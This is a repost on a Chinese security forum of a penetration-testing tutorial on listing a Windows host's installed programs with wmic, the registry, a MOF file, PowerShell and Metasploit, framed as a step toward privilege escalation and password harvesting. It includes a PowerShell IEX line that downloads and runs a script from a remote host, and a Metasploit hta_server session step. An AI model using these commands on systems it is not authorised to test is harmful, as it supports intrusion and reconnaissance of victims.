安全矩阵

 找回密码
 立即注册
搜索
查看: 1430|回复: 0

获取主机已安装程序的多种方式

[复制链接]

260

主题

275

帖子

1065

积分

金牌会员

Rank: 6Rank: 6

积分
1065
发表于 2022-6-27 22:12:10 | 显示全部楼层 |阅读模式

获取主机已安装程序的多种方式
原文链接:获取主机已安装程序的多种方式
原创 3had0w 潇湘信安 2022-06-27 09:00 发表于湖南
                        声明:该公众号大部分文章来自作者日常学习笔记,也有部分文章是经过作者授权和其他公众号白名单转载,未经授权,严禁转载,如需转载,联系开白。
                        请勿利用文章内的相关技术从事非法测试,如因此产生的一切不良后果与文章作者和本公众号无关。
                        

0x01 前言

这篇文章我们主要讲的是获取主机已安装程序的多种方式,通过获取的软件及版本信息可用于权限提升、搜集密码等。因为有的方式获取不完整或者可能被安全防护软件拦截,所有我测试了多个方法,以备不时之需。


0x02 通过控制面板查看安装程序


我们先去控制面板看下总共安装了多少程序,开始菜单 -> 控制面板 -> 程序 -> 程序和功能,也可以在命令行下直接输入appwiz.cpl打开程序和功能查看。
编辑

0x03 通过WMI获取安装程序列表

WMI查询Win32_Product这种方式获取的已安装程序列表并不完整,因为这种方只能获取那些通过Windows Installer安装的程序,所以其它方式安装的程序就会无法获取。
wmic product get name,versionwmic /namespace:\\root\cimv2 path win32_product get name,versionGet-WmiObject -Class win32_product | Select-Object -Property name,version
编辑

通过这种方式查询已安装程序不仅很慢、而且不完整,还会产生大量应用程序日志,事件ID为:1035,所以并不推荐使用这种方式。
编辑

0x04 通过注册表获取安装程序列表

这种方式一般都是通过读取以下4个注册表项中的子健来获取主机上的已安装程序,每个子健代表一个已安装的程序,对应的是控制面板的程序和功能程序列表,Wow6432Node为32位。
HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall
HKCU\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall
HKLM\\SOFTWARE\\WOW6432NODE\\Microsoft\\Windows\\CurrentVersion\\Uninstall
HKCU\\SOFTWARE\\WOW6432NODE\\Microsoft\\Windows\\CurrentVersion\\Uninstall


(1) mofcomp

Mofcomp.exe是系统自带的一个工具,用来编译mof文件,并将mof文件中的信息添加到WMI数据库中,可以用WMI Explorer工具来查看WMI支持的各种类。
编辑

所以我们可以直接通过Mofcomp.exe执行SampleProductsList.mof文件将读取到的注册表项中的子健结果添加进VMI数据库中,然后再用WMIC命令查询即可。
mofcomp.exe C:\ProgramData\SampleProductsList.mof
wmic /namespace:"\\root\default" path sampleproductslist get displayname,displayversion
wmic /namespace:"\\root\default" path sampleproductslist32 get displayname,displayversion



SampleProductsList.mof
  1. // "AS-IS" sample MOF file for returning the two uninstall registry subkeys
  2. // Unsupported, provided purely as a sample
  3. // Requires compilation. Example: mofcomp.exe sampleproductslist.mof
  4. // Implements sample classes: "SampleProductList" and "SampleProductlist32"
  5. // (for 64-bit systems with 32-bit software)
  6. #PRAGMA AUTORECOVER[dynamic, provider("RegProv"),
  7. ProviderClsid("{fe9af5c0-d3b6-11ce-a5b6-00aa00680c3f}"),
  8. ClassContext("local|HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall")]
  9. class SampleProductsList {[key] string KeyName;[read, propertycontext("DisplayName")]
  10. string DisplayName;[read, propertycontext("DisplayVersion")] string DisplayVersion;};
  11. [dynamic, provider("RegProv"),ProviderClsid("{fe9af5c0-d3b6-11ce-a5b6-00aa00680c3f}"),
  12. ClassContext("local|HKEY_LOCAL_MACHINE\\SOFTWARE\\Wow6432node\\Microsoft\\Windows\\CurrentVersion\\Uninstall")]
  13. class SampleProductsList32 {[key] string KeyName;[read, propertycontext("DisplayName")]
  14. string DisplayName;[read, propertycontext("DisplayVersion")] string DisplayVersion;};
复制代码
(2) Powershell
这个Powershell脚本是@3gstudent师傅写的,也是通过读取几个注册表项来获取主机上的已安装程序,加了个判断系统位数,自动判断注册表重定向,但这种方式在执行时肯定会被某数字防护拦截。
powershell IEX (New-Object Net.WebClient).DownloadString('http://192.168.1.103:8888/ListInstalledPrograms.ps1'); ListPrograms


ListInstalledPrograms.ps1
  1. <#
  2. .SYNOPSIS
  3. This script can be used to list the programs that the current Windows system has installed.
  4. Supprot x86 and x64
  5. Author: 3gstudent@3gstudent
  6. License: BSD 3-Clause
  7. #>
  8. Function ListPrograms{
  9. param($RegPath)  
  10. $QueryPath = dir $RegPath -Name
  11. foreach($Name in $QueryPath)
  12. {
  13. (Get-ItemProperty -Path $RegPath$Name).DisplayName
  14. #        (Get-ItemProperty -Path $RegPath$Name).Publisher
  15. #        (Get-ItemProperty -Path $RegPath$Name).DisplayVersion
  16. }
  17. }
  18. if ([IntPtr]::Size -eq 8)
  19. {
  20. Write-Host "[*] OS: x64"
  21. Write-Host "[*] List the 64 bit programs that have been installed"
  22. $RegPath = "Registry::HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall"
  23. ListPrograms -RegPath $RegPath
  24. Write-Host "[+] List the 32 bit programs that have been installed"
  25. $RegPath = "Registry::HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall"ListPrograms -RegPath $RegPath}
  26. else{
  27. Write-Host "[*] OS: x86"
  28. Write-Host "[*] List the 32 bit programs that have been installed"
  29. $RegPath = "Registry::HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall"
  30. ListPrograms -RegPath $RegPath}
复制代码


(3) Metasploit
首先利用hta_server模块获取一个会话,然后再用enum_applications模块获取主机上已安装的应用程序及其版本列表,虽然也能在会话中用run get_application_list获取,但并不完整。
msf5 exploit(windows/misc/hta_server) > use post/windows/gather/enum_applications
msf5 post(windows/gather/enum_applications) > set session 1
msf5 post(windows/gather/enum_applications) > exploitmeterpreter > run get_application_list



这是因为get_application_list这个脚本只读取x64的已安装应用程序列表,所以会少一些,而enum_applications这个模块同时读取x64和x32的已安装应用程序列表,所以比较完整。



参考链接:
https://3gstudent.github.io/渗透基础-获得当前系统已安装的程序列表
https://docs.microsoft.com/zh-cn ... ws-installer-portal
https://docs.microsoft.com/en-us ... up-policy-filtering



回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

小黑屋|安全矩阵

GMT+8, 2024-3-29 06:07 , Processed in 0.014209 second(s), 18 queries .

Powered by Discuz! X4.0

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表